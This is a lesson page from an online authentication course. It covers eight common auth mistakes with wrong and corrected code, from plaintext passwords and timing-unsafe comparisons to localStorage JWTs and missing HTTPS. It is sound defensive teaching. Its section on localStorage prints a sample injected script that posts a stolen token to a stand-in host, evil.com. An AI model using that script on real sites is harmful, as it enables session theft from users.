hectoday
DocsCoursesChangelog GitHub
DocsCoursesChangelog GitHub

Access Required

Enter your access code to view courses.

Invalid code

← All courses Authentication with @hectoday/http

What Is Authentication?

  • Who Are You?
  • HTTP Is Stateless
  • Project Setup

Passwords

  • Why Not Store Passwords Directly
  • Hashing with bcrypt
  • Building a Signup Route
  • Building a Login Route

Sessions and Cookies

  • What Is a Cookie?
  • What Is a Session?
  • Building Session Management
  • Protecting Routes
  • Logout
  • Cookie Security

Tokens

  • What Is a Token?
  • Anatomy of a JWT
  • Creating JWTs
  • Verifying JWTs
  • Sessions vs. Tokens

Putting It Together

  • Authorization
  • Common Mistakes
  • Capstone: User Management API

Common mistakes

You now know how to build authentication and authorization from scratch. The code works. The tests pass. But here is the uncomfortable truth about auth code: it can look completely fine, pass every code review, run in production for years, and still be wide open. The worst security bugs are the ones you cannot spot by reading the code. This lesson is a tour of the most common mistakes. Some we have already talked about. Some are new. All of them are real and all of them show up in production apps constantly. Consider this your “stuff that will burn you later” reference.

1. Storing passwords in plain text

We covered this in Section 2, but it still happens. Sometimes through outright carelessness, sometimes through log statements that accidentally record request bodies, sometimes through debugging code that forgot to get deleted.

// WRONG: plain text password stored
users.set(email, { email, password });

// WRONG: password appears in logs
console.log("Login attempt:", { email, password });

That second one is the sneakier version. You are not storing the password in your database, but you are piping it through your log aggregator, which probably goes to a third-party service, which probably retains logs for 30 days, which is a whole separate place a breach can happen.

Fix: Hash passwords with bcrypt before storing them. And if you log request bodies for debugging, redact sensitive fields.

// CORRECT
const passwordHash = await bcrypt.hash(password, 10);
users.set(email, { email, passwordHash });

2. Comparing strings directly for secret values

When verifying a password or comparing tokens, you might reach for === without thinking:

// WRONG: vulnerable to timing attacks
if (providedToken === storedToken) {
  // authenticated
}

Here is the subtle problem. The === operator compares strings character by character and returns false as soon as it finds a mismatch. An attacker who can make many requests and measure the response times can figure out how many characters of the secret they got right. If a request with "aXXXXX" takes slightly longer than "bXXXXX", the first character is probably "a". Repeat that trick character by character, and they can eventually extract the whole secret.

This is called a timing attack. It sounds theoretical, but it is absolutely real. People have exploited this against real systems.

For passwords, this is not something you need to worry about, because bcrypt.compare already does the right thing internally (constant-time comparison).

For other secret comparisons (API keys, webhook signatures, raw tokens), use a constant-time compare:

import { timingSafeEqual } from "node:crypto";

function safeCompare(a: string, b: string): boolean {
  if (a.length !== b.length) return false;

  const bufA = Buffer.from(a);
  const bufB = Buffer.from(b);
  return timingSafeEqual(bufA, bufB);
}

timingSafeEqual always takes the same amount of time no matter where the mismatch is, so timing does not leak anything.

[!NOTE] If you are verifying JWTs with jose, the library already handles this for you internally. This concern mainly applies when you are comparing secrets yourself, like verifying a webhook signature against an expected value.

3. Storing JWTs in localStorage

When a web client gets a JWT, it has to put it somewhere. A very common (and very bad) choice is localStorage:

// WRONG: vulnerable to XSS
localStorage.setItem("token", jwt);

The problem: localStorage is readable by any JavaScript on the page. If an attacker can get their code running on your page (cross-site scripting, XSS) they can steal the token in one line:

// Attacker's injected script
fetch("https://evil.com/steal", {
  method: "POST",
  body: localStorage.getItem("token"),
});

Your user’s token is now in the attacker’s hands. They can use it from anywhere.

Alternatives:

  • HttpOnly cookie: Store the token in a cookie with HttpOnly. JavaScript cannot read it, so XSS cannot steal it. This combines the cookie transport of sessions with the JWT format.
  • In-memory variable: Store the token in a JS variable (not localStorage). It gets lost on page refresh, but it is harder for attacker scripts to grab from a different script context.

There is no perfect answer here. Every approach has tradeoffs. But localStorage is the worst option for anything security-sensitive, and yet it shows up in tutorials all over the internet. Do not do it.

4. Missing HttpOnly on session cookies

// WRONG: JavaScript can read this cookie
"Set-Cookie: session=abc123; Path=/";

// CORRECT: JavaScript cannot read this cookie
"Set-Cookie: session=abc123; HttpOnly; Path=/";

Without HttpOnly, an XSS attack can steal the session cookie with document.cookie just as easily as it could steal a token from localStorage. This is one of the most common mistakes and one of the easiest to prevent: just add four extra characters to your Set-Cookie header. Always.

5. Not expiring sessions

If sessions never expire, a stolen session ID is valid forever. An attacker who gets a session ID (via network interception, XSS, or physical access to the user’s device) has permanent access.

Fix: Set a Max-Age on the cookie and implement server-side expiry:

export function getSession(id: string): Session | undefined {
  const session = store.get(id);
  if (!session) return undefined;

  // Expire sessions after 24 hours
  const maxAge = 24 * 60 * 60 * 1000; // 24 hours in ms
  if (Date.now() - session.createdAt > maxAge) {
    store.delete(id);
    return undefined;
  }

  return session;
}

The cookie Max-Age tells the browser when to stop sending the cookie. The server-side check is a second layer of defense: even if the cookie survives on the client for longer than expected, the server rejects it anyway.

Defense in depth. Two locks are harder to pick than one.

6. Using a weak JWT secret

// WRONG: easily guessable
const secret = new TextEncoder().encode("secret");

// WRONG: too short for HS256
const secret = new TextEncoder().encode("mykey");

// CORRECT: at least 32 bytes, random
const secret = new TextEncoder().encode(process.env.JWT_SECRET);
// Where JWT_SECRET is something like:
// "a9f2e8c1b5d7f4e6a8c3b1d9f7e2a4c6b8d1f3e5a7c9b2d4f6e8a1c3b5d7f9"

If an attacker can guess or brute-force your signing secret, they can forge tokens with any payload, including "role": "admin". Everything you built on top of JWTs collapses. The whole security model of JWTs rests on one assumption: the attacker does not know the secret. Break that assumption, and nothing else in the stack saves you.

Generate a proper secret: node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"

7. Different error messages for login failures

We covered this in the login lesson, but it is worth hammering home one more time:

// WRONG: reveals which emails are registered
if (!user) return Response.json({ error: "User not found" }, { status: 401 });
if (!valid) return Response.json({ error: "Wrong password" }, { status: 401 });

// CORRECT: same message for both
if (!user) return Response.json({ error: "Invalid email or password" }, { status: 401 });
if (!valid) return Response.json({ error: "Invalid email or password" }, { status: 401 });

Different messages let an attacker confirm which email addresses exist on your system (user enumeration). Always return the same message regardless of which half of the check failed.

8. Not using HTTPS

All authentication mechanisms are completely undermined if the connection is not encrypted. Cookies, tokens, passwords, everything travels in plain text over HTTP. Anyone on the same network can intercept them trivially. Public WiFi, a compromised router, an intermediate proxy, any of it is fatal.

In development, localhost over HTTP is fine because the traffic does not leave your machine. In production, always use HTTPS. Set the Secure flag on cookies so they literally refuse to travel over plain HTTP.

Modern hosting providers (Netlify, Vercel, Fly, Render, Cloudflare, etc.) give you HTTPS for free. There is genuinely no excuse to not use it.

Summary

MistakeRiskFix
Plaintext passwordsInstant breach exposureHash with bcrypt
Direct string comparisonTiming attacks reveal secretsUse timingSafeEqual
JWT in localStorageXSS can steal tokensUse HttpOnly cookies or in-memory
Missing HttpOnlyXSS can steal session cookiesAlways set HttpOnly
No session expiryStolen sessions last foreverSet Max-Age + server-side expiry
Weak JWT secretAttacker can forge tokensRandom 64+ byte secret
Different login errorsEmail enumerationSame error message for all failures
No HTTPSEverything is interceptableHTTPS in production, Secure flag

Screenshot this table. Put it next to you the next time you ship an auth system to production.

In the final lesson, we pull everything together into one complete app: signup, login, logout, protected routes, admin-only routes, token auth, the whole set. You have learned all the pieces. Time to see them assembled.

Why is localStorage a poor choice for storing JWTs?

← Authorization Capstone: User Management API →

© 2026 hectoday. All rights reserved.